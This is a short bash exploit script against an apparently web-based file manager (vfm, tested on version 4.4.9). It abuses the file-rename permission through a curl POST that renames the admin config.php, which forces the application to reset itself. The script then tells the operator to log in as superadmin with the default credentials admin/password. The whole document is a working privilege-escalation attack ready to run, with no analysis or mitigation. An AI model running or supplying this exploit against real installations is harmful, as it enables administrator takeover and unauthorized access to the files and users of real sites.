#!/usr/bin/env bash

##########################################################
############### RENAME USER PRIV-ESCALATION ##############
##########################################################

################# TESTED ON VERSION 4.4.9 ################

# This exploit lets an authenticated attacker with the
# 'rename_allowed' permission to rename any arbitrary file
# on the system where the application has write access.
#
# In this demonstration it renames the vfm-admin/config.php
# file so the thinks it is on first load and regenerates it
# along with the users.php file.

# - Parameter $1 is vfm session cookie name
# - Parameter $2 is vfm session cookie value
# - Parameter $3 is Url to the root of where the installation
#   of vfm is (a.k.a. the root of the application)

if [[ -z "$1" ]] || [[ -z "$2" ]] || [[ -z "$3" ]]; then
  echo "[ USAGE ] :: ./auth-rename-allowed-privilege-escalation.sh <vfm cookie name> <vfm cookie value> <url to root of vfm installation>/"
  exit 1
fi

echo "[ EXECUTION STARTED ]"
curl -X POST \
  -b "$1=$2" \
  -d "thisdir=vfm-admin/" \
  -d "thisext=php" \
  -d "oldname=$(echo -n "config" | base64)" \
  -d "newname=anything" \
  "$3/" &>/dev/null
echo "[ DONE ]"

echo
echo "Try to login with superadmin default credentials:"
echo "    [ USER :: admin    ]"
echo "    [ PASS :: password ]"